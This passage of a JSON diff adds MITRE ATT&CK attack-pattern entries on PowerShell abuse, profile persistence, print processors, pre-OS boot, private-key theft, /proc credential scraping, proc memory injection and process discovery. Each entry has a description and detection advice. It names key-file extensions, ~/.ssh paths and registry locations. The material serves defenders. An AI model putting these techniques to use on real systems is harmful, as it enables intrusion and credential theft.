"privilege-escalation" + } + ], + "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1055/002", + "external_id": "T1055.002", + "source_name": "mitre-attack" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-09T13:51:06.334Z", + "name": "PowerShell", + "created": "2017-05-31T21:31:06.512Z", + "id": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1086", + "external_id": "T1086", + "source_name": "mitre-attack" + }, + { + "source_name": "TechNet PowerShell", + "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.", + "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "source_name": "Github PSAttack", + "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.", + "url": "https://github.com/jaredhaight/PSAttack" + }, + { + "url": "http://www.sixdub.net/?p=367", + "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.", + "source_name": "Sixdub PowerPick Jan 2016" + }, + { + "url": "https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/", + "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.", + "source_name": "SilentBreak Offensive PS Dec 2015" + }, + { + "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/", + "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.", + "source_name": "Microsoft PSfromCsharp APR 2014" + }, + { + "source_name": "Malware Archaeology PowerShell Cheat Sheet", + "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.", + "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf" + }, + { + "source_name": "FireEye PowerShell Logging 2016", + "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-05-28T14:56:23.748Z", + "name": "PowerShell", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Module: Module Load", + "Process: Process Creation", + "Script: Script Execution" + ], + "x_mitre_version": "1.1", + "created": "2020-03-09T13:48:55.078Z", + "x_mitre_contributors": [ + "Praetorian" + ], + "id": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "x_mitre_remote_support": true, + "x_mitre_detection": "If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1059/001", + "external_id": "T1059.001", + "source_name": "mitre-attack" + }, + { + "source_name": "TechNet PowerShell", + "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.", + "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx" + }, + { + "source_name": "Github PSAttack", + "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.", + "url": "https://github.com/jaredhaight/PSAttack" + }, + { + "url": "http://www.sixdub.net/?p=367", + "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.", + "source_name": "Sixdub PowerPick Jan 2016" + }, + { + "url": "https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/", + "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.", + "source_name": "SilentBreak Offensive PS Dec 2015" + }, + { + "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/", + "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.", + "source_name": "Microsoft PSfromCsharp APR 2014" + }, + { + "source_name": "Malware Archaeology PowerShell Cheat Sheet", + "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.", + "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf" + }, + { + "source_name": "FireEye PowerShell Logging 2016", + "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-24T15:11:53.430Z", + "name": "PowerShell Profile", + "created": "2019-06-14T18:53:49.472Z", + "id": "attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1504", + "external_id": "T1504", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6", + "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.", + "source_name": "Microsoft About Profiles" + }, + { + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "source_name": "ESET Turla PowerShell May 2019" + }, + { + "url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html", + "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.", + "source_name": "Wits End and Shady PowerShell Profiles" + }, + { + "source_name": "Malware Archaeology PowerShell Cheat Sheet", + "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.", + "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "PowerShell Profile", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "File: File Modification", + "File: File Creation" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-24T21:31:31.082Z", + "created": "2020-01-24T15:11:02.758Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)", + "x_mitre_contributors": [ + "Allen DeRyke, ICE" + ], + "x_mitre_detection": "Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n\n* $PsHome\\Profile.ps1\n* $PsHome\\Microsoft.{HostProgram}_profile.ps1\n* $Home\\My Documents\\PowerShell\\Profile.ps1\n* $Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1546/013", + "external_id": "T1546.013", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6", + "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.", + "source_name": "Microsoft About Profiles" + }, + { + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "source_name": "ESET Turla PowerShell May 2019" + }, + { + "url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html", + "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.", + "source_name": "Wits End and Shady PowerShell Profiles" + }, + { + "source_name": "Malware Archaeology PowerShell Cheat Sheet", + "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.", + "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Pre-OS Boot", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Network Traffic: Network Connection Creation", + "Firmware: Firmware Modification", + "Driver: Driver Metadata", + "Process: OS API Execution", + "Drive: Drive Modification" + ], + "x_mitre_version": "1.1", + "modified": "2020-10-22T16:35:54.740Z", + "created": "2019-11-13T14:44:49.439Z", + "id": "attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Host intrusion prevention systems", + "File monitoring" + ], + "x_mitre_platforms": [ + "Linux", + "Windows", + "Network" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "description": "Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)\n\nAdversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.\n\nDisk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation. (Citation: ITWorld Hard Disk Health Dec 2014)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1542", + "external_id": "T1542", + "source_name": "mitre-attack" + }, + { + "url": "https://en.wikipedia.org/wiki/Booting", + "description": "Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.", + "source_name": "Wikipedia Booting" + }, + { + "source_name": "ITWorld Hard Disk Health Dec 2014", + "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.", + "url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Print Processors", + "x_mitre_data_sources": [ + "File: File Creation", + "Process: OS API Execution", + "Module: Module Load", + "Windows Registry: Windows Registry Key Modification", + "Driver: Driver Load" + ], + "x_mitre_version": "1.0", + "modified": "2020-10-09T16:05:36.344Z", + "created": "2020-10-05T13:24:49.780Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "id": "attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "description": "Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot. \n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver Registry key that points to the DLL. For the print processor to be correctly installed, it must be located in the system print-processor directory that can be found with the GetPrintProcessorDirectory API call.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.", + "x_mitre_contributors": [ + "Mathieu Tartare, ESET" + ], + "x_mitre_detection": "Monitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\\SYSTEM\\ControlSet001\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\\\Driver or HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\Driver as they pertain to print processor installations.\n\nMonitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1547/012", + "external_id": "T1547.012", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor", + "description": "Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020.", + "source_name": "Microsoft AddPrintProcessor May 2018" + }, + { + "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", + "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020.", + "source_name": "ESET PipeMon May 2020" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-18T16:51:57.775Z", + "name": "Private Keys", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1145", + "external_id": "T1145", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia Public Key Crypto", + "description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.", + "url": "https://en.wikipedia.org/wiki/Public-key_cryptography" + }, + { + "source_name": "Kaspersky Careto", + "description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017.", + "url": "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf" + }, + { + "source_name": "Palo Alto Prince of Persia", + "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Private Keys", + "x_mitre_data_sources": [ + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-29T21:36:36.613Z", + "created": "2020-02-04T13:06:49.258Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.", + "x_mitre_contributors": [ + "Itzik Kotler, SafeBreach" + ], + "x_mitre_detection": "Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1552/004", + "external_id": "T1552.004", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia Public Key Crypto", + "description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.", + "url": "https://en.wikipedia.org/wiki/Public-key_cryptography" + }, + { + "source_name": "Kaspersky Careto", + "description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017.", + "url": "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf" + }, + { + "source_name": "Palo Alto Prince of Persia", + "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Proc Filesystem", + "x_mitre_data_sources": [ + "Command: Command Execution", + "File: File Access" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-19T15:32:18.098Z", + "created": "2020-02-11T18:46:24.434Z", + "x_mitre_permissions_required": [ + "root" + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d", + "description": "Adversaries may gather credentials from information stored in the Proc filesystem or /proc. The Proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively.\n\nThis functionality has been implemented in the MimiPenguin(Citation: MimiPenguin GitHub May 2017), an open source tool inspired by Mimikatz. The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_detection": "To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc/\\*/maps, where the \\* directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1003/007", + "external_id": "T1003.007", + "source_name": "mitre-attack" + }, + { + "source_name": "MimiPenguin GitHub May 2017", + "description": "Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.", + "url": "https://github.com/huntergregal/mimipenguin" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Proc Memory", + "x_mitre_data_sources": [ + "File: File Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-06-20T22:25:55.331Z", + "created": "2020-01-14T01:34:10.588Z", + "x_mitre_defense_bypassed": [ + "Application control", + "Anti-virus" + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591", + "description": "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes\u2019 memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1055/009", + "external_id": "T1055.009", + "source_name": "mitre-attack" + }, + { + "source_name": "Uninformed Needle", + "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.", + "url": "http://hick.org/code/skape/papers/needle.txt" + }, + { + "url": "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html", + "description": "McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020.", + "source_name": "GDS Linux Injection" + }, + { + "url": "http://man7.org/linux/man-pages/man1/dd.1.html", + "description": "Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020.", + "source_name": "DD Man" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Process Discovery", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1057", + "external_id": "T1057", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/573.html", + "external_id": "CAPEC-573", + "source_name": "capec" + } + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_version": "1.2", + "modified": "2020-03-26T18:05:53.130Z", + "x_mitre_system_requirements": [ + "Administrator, SYSTEM may provide better process ownership details" + ], + "id": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created": "2017-05-31T21:30:48.728Z", + "created_by_ref": 